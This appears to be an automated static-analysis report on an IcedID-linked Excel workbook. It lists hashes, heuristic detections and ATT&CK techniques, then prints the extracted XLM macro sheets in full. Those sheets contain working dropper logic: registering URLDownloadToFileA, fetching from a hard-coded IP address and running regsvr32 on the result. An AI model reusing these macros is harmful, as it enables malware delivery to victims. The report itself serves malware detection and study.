IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 0ef17eb55b07cefd…

MALICIOUS

Office (OOXML)

331.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-04
MD5: 82b5321c016515c73fd076bc537fa752 SHA-1: 867bc368782c67b10f03b31b457bef4a5eae1331 SHA-256: 0ef17eb55b07cefd90ca3161d33f7b58c27f6fb75f0ed315c325db90e76c5d32
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, indicated by multiple 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristic firings. These macros utilize dangerous API calls like FORMULA and REGISTER to download and execute payloads, as evidenced by the 'OOXML_XLM_DANGEROUS_FN' heuristic and the reconstructed command 'regsvr32 -s ..\Hikos.hertolo'. The embedded URLs and the ClamAV detection name 'Xls.Downloader.IcedID' strongly suggest the IcedID family.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (10 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 10 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 3786 bytes
SHA-256: 1be8892bef9f9957bb32d2c77ba6054081ef0bc1d79ce7bef02d37f542dbf89b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E47BFF16-3647-4865-B01F-CFF5032E32ED}"><dimension ref="F7:K24"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="19.42578125" style="1" customWidth="1"/><col min="2" max="5" width="8.7109375" style="1"/><col min="6" max="6" width="16.5703125" style="1" customWidth="1"/><col min="7" max="7" width="17" style="1" customWidth="1"/><col min="8" max="8" width="8.7109375" style="1"/><col min="9" max="9" width="16.28515625" style="1" customWidth="1"/><col min="10" max="10" width="34" style="1" customWidth="1"/><col min="11" max="11" width="12.140625" style="1" customWidth="1"/><col min="12" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="7" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="J7" s="1" t="b"><f>FORMULA(F12&amp;Pervi2!F13&amp;Pervi2!E14,J9)</f><v>0</v></c></row><row r="10" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="I10" s="1" t="s"><v>0</v></c><c r="J10" s="1"><f>RANDBETWEEN(245,8675436)</f><v>7800682</v></c></row><row r="12" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F12" s="1" t="s"><v>1</v></c></row><row r="13" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F13" s="1" t="s"><v>2</v></c><c r="J13" s="1" t="e"><f>Kokiser(J24,K13&amp;I14&amp;J10&amp;I10,sobr!D19,J24,J24)</f><v>#NAME?</v></c><c r="K13" s="1" t="str"><f>K16&amp;K17&amp;K18</f><v>http://</v></c></row><row r="14" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F14" s="1" t="s"><v>7</v></c><c r="I14" s="1" t="s"><v>17</v></c></row><row r="15" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F15" s="1" t="s"><v>6</v></c><c r="I15" s="1" t="str"><f>"190.14.37.109/"</f><v>190.14.37.109/</v></c><c r="J15" s="1" t="e"><f>Kokiser(J24,K13&amp;I15&amp;J10&amp;I10,sobr!E19,J24,J24)</f><v>#NAME?</v></c></row><row r="16" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F16" s="1" t="s"><v>4</v></c><c r="I16" s="1" t="s"><v>18</v></c><c r="K16" s="1" t="str"><f>"ht"</f><v>ht</v></c></row><row r="17" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F17" s="1" t="s"><v>5</v></c><c r="J17" s="1" t="e"><f>Kokiser(J24,K13&amp;I16&amp;J10&amp;I10,sobr!F19,J24,J24)</f><v>#NAME?</v></c><c r="K17" s="1" t="str"><f>"tp"</f><v>tp</v></c></row><row r="18" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="F18" s="1" t="s"><v>3</v></c><c r="K18" s="1" t="str"><f>"://"</f><v>://</v></c></row><row r="21" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="J21" s="1" t="b"><f>GOTO(sobr!H4)</f><v>0</v></c></row><row r="24" spans="6:11" s="1" customFormat="1" x14ac:dyDescent="0.25"><c r="J24" s="1"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 2017 bytes
SHA-256: 05429996701eacd52396b49a7b542ebf5f54ec159e49392a0fde30360c280f6c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{FE4C23C8-402C-4855-A94B-79B9C3B5C8C7}"><dimension ref="E13:F15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="14.42578125" style="1" customWidth="1"/><col min="2" max="4" width="8.7109375" style="1"/><col min="5" max="5" width="14" style="1" customWidth="1"/><col min="6" max="6" width="20.5703125" style="1" customWidth="1"/><col min="7" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="13" spans="5:6" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>Pervi!F13&amp;Pervi!F14</f><v>REGISTER("uRlMon","URL</v></c></row><row r="14" spans="5:6" x14ac:dyDescent="0.25"><c r="E14" s="1" t="str"><f>F14&amp;F15</f><v>DownloadToFileA","JJCCBB","Kokiser",,1,9)</v></c><c r="F14" s="1" t="str"><f>Pervi!F15&amp;Pervi!F16</f><v>DownloadToFile</v></c></row><row r="15" spans="5:6" x14ac:dyDescent="0.25"><c r="F15" s="1" t="str"><f>Pervi!F17&amp;Pervi!F18</f><v>A","JJCCBB","Kokiser",,1,9)</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2703 bytes
SHA-256: c93414afa90d0aed96b0ce72668e15428c1af49ef990d4433b19efa6b27dd697
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8C705E67-FBCE-463D-956E-F101FD370AA7}"><dimension ref="D8:K19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="3" width="8.7109375" style="1"/><col min="4" max="4" width="17.7109375" style="1" customWidth="1"/><col min="5" max="5" width="12.5703125" style="1" customWidth="1"/><col min="6" max="6" width="9.42578125" style="1" customWidth="1"/><col min="7" max="7" width="8.7109375" style="1"/><col min="8" max="8" width="20.140625" style="1" customWidth="1"/><col min="9" max="10" width="8.7109375" style="1"/><col min="11" max="11" width="12.5703125" style="1" customWidth="1"/><col min="12" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="8" spans="4:11" x14ac:dyDescent="0.25"><c r="D8" s="1" t="s"><v>1</v></c></row><row r="9" spans="4:11" x14ac:dyDescent="0.25"><c r="D9" s="1" t="s"><v>8</v></c></row><row r="10" spans="4:11" x14ac:dyDescent="0.25"><c r="D10" s="1" t="s"><v>12</v></c><c r="H10" s="1" t="b"><f>FORMULA(K10&amp;K11,I10)</f><v>0</v></c><c r="K10" s="1" t="str"><f>D9&amp;D10</f><v>EXE</v></c></row><row r="11" spans="4:11" x14ac:dyDescent="0.25"><c r="K11" s="1" t="str"><f>D12</f><v>C("regsvr</v></c></row><row r="12" spans="4:11" x14ac:dyDescent="0.25"><c r="D12" s="1" t="s"><v>13</v></c></row><row r="15" spans="4:11" x14ac:dyDescent="0.25"><c r="D15" s="1" t="s"><v>14</v></c><c r="E15" s="1" t="s"><v>15</v></c><c r="F15" s="1" t="s"><v>16</v></c></row><row r="17" spans="4:8" x14ac:dyDescent="0.25"><c r="H17" s="1" t="e"><f>GOTO(sobr1!G3)</f><v>#N/A</v></c></row><row r="19" spans="4:8" x14ac:dyDescent="0.25"><c r="D19" s="1" t="s"><v>9</v></c><c r="E19" s="1" t="s"><v>10</v></c><c r="F19" s="1" t="s"><v>11</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1521 bytes
SHA-256: caf907d21dc38a6bc75aedd846db9e62599779d4c2dbd3f24898f275d22c250a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B474702B-62D2-4D48-A360-A9ADE618FD29}"><dimension ref="G8:G17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="1"/><col min="7" max="7" width="32.5703125" style="1" customWidth="1"/><col min="8" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="8" spans="7:7" x14ac:dyDescent="0.25"><c r="G8" s="1" t="b"><f>FORMULA(sobr!I10&amp;sobr!D15,H8)</f><v>0</v></c></row><row r="17" spans="7:7" x14ac:dyDescent="0.25"><c r="G17" s="1" t="e"><f>GOTO(sobr2!H6)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1791 bytes
SHA-256: 7667966c8045cbbf1d7c1f279245a5e7c4ac004e5ebe30fbd872010d3792710f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{909A7A1B-3141-4E9F-ACDA-5112CD802904}"><dimension ref="H12:H19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="10.85546875" style="1" customWidth="1"/><col min="2" max="2" width="8.7109375" style="1"/><col min="3" max="3" width="11.28515625" style="1" customWidth="1"/><col min="4" max="7" width="8.7109375" style="1"/><col min="8" max="8" width="33" style="1" customWidth="1"/><col min="9" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="12" spans="8:8" x14ac:dyDescent="0.25"><c r="H12" s="1" t="b"><f>FORMULA(sobr!I10&amp;sobr!E15,I12)</f><v>0</v></c></row><row r="19" spans="8:8" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>GOTO(sobr3!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1667 bytes
SHA-256: c2e30072b0b55de845ae0cc0cf580b57d25538df7bd72d890703ffb59bd466f3
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{173EF3D9-3A82-495A-8C09-62B0D75AC525}"><dimension ref="H14:H21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="8.7109375" style="1"/><col min="2" max="2" width="15.5703125" style="1" customWidth="1"/><col min="3" max="7" width="8.7109375" style="1"/><col min="8" max="8" width="26.140625" style="1" customWidth="1"/><col min="9" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="14" spans="8:8" x14ac:dyDescent="0.25"><c r="H14" s="1" t="b"><f>FORMULA(sobr!I10&amp;sobr!F15,I14)</f><v>0</v></c></row><row r="21" spans="8:8" x14ac:dyDescent="0.25"><c r="H21" s="1" t="b"><f>GOTO(zap1!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_06.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet7.xml 1735 bytes
SHA-256: 4a0db02a3673bae10855faec06cd35685ff751631b0072a271b38d935beecf95
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0DA7ECFB-5281-438C-A3F5-354783F37D5B}"><dimension ref="H10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="12.85546875" style="1" customWidth="1"/><col min="2" max="2" width="8.7109375" style="1"/><col min="3" max="3" width="11.42578125" style="1" customWidth="1"/><col min="4" max="7" width="8.7109375" style="1"/><col min="8" max="8" width="30.140625" style="1" customWidth="1"/><col min="9" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="10" spans="8:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>FORMULA(sobr!D8&amp;sobr1!H8,H13)</f><v>0</v></c></row><row r="18" spans="8:8" x14ac:dyDescent="0.25"><c r="H18" s="1" t="b"><f>GOTO(zap2!I6)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_07.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet8.xml 1679 bytes
SHA-256: a0c80460b9f4e41cc5c80274d1c193d030f8b4e954b0aa51ef669e0af14e35d8
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B72A5B93-7EB0-4ADC-81C4-2331D80C6217}"><dimension ref="I15:I22"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="12.7109375" style="1" customWidth="1"/><col min="2" max="2" width="11.5703125" style="1" customWidth="1"/><col min="3" max="8" width="8.7109375" style="1"/><col min="9" max="9" width="23" style="1" customWidth="1"/><col min="10" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="15" spans="9:9" x14ac:dyDescent="0.25"><c r="I15" s="1" t="b"><f>FORMULA(sobr!D8&amp;sobr2!I12,I18)</f><v>0</v></c></row><row r="22" spans="9:9" x14ac:dyDescent="0.25"><c r="I22" s="1" t="b"><f>GOTO(zap3!J11)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_08.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet9.xml 1611 bytes
SHA-256: 1c52474b1448a0ffd9d21d1a06b05ada2668f4c15ffc52265026119f5dff69ca
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{58AF8ED4-316A-4BC0-A18B-1ED79419BFAC}"><dimension ref="J15:J20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="12.85546875" style="1" customWidth="1"/><col min="2" max="9" width="8.7109375" style="1"/><col min="10" max="10" width="20" style="1" customWidth="1"/><col min="11" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="15" spans="10:10" x14ac:dyDescent="0.25"><c r="J15" s="1" t="b"><f>FORMULA(sobr!D8&amp;sobr3!I14,J18)</f><v>0</v></c></row><row r="20" spans="10:10" x14ac:dyDescent="0.25"><c r="J20" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_09.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1790 bytes
SHA-256: 6dabbcd902efa205f4f62712457f79144c15a373fe7c951a3cc043bb5817e545
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E82A3E90-EF7C-4C67-A03E-D054DC7362F9}"><dimension ref="A9:A16"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="13.42578125" style="1" customWidth="1"/><col min="2" max="3" width="8.7109375" style="1"/><col min="4" max="4" width="12.5703125" style="1" customWidth="1"/><col min="5" max="7" width="8.7109375" style="1"/><col min="8" max="8" width="11.140625" style="1" customWidth="1"/><col min="9" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="9" spans="1:1" x14ac:dyDescent="0.25"><c r="A9" s="1" t="b"><f>PI()=ON.TIME(NOW()+"00:00:02","Klote")</f><v>0</v></c></row><row r="16" spans="1:1" x14ac:dyDescent="0.25"><c r="A16" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.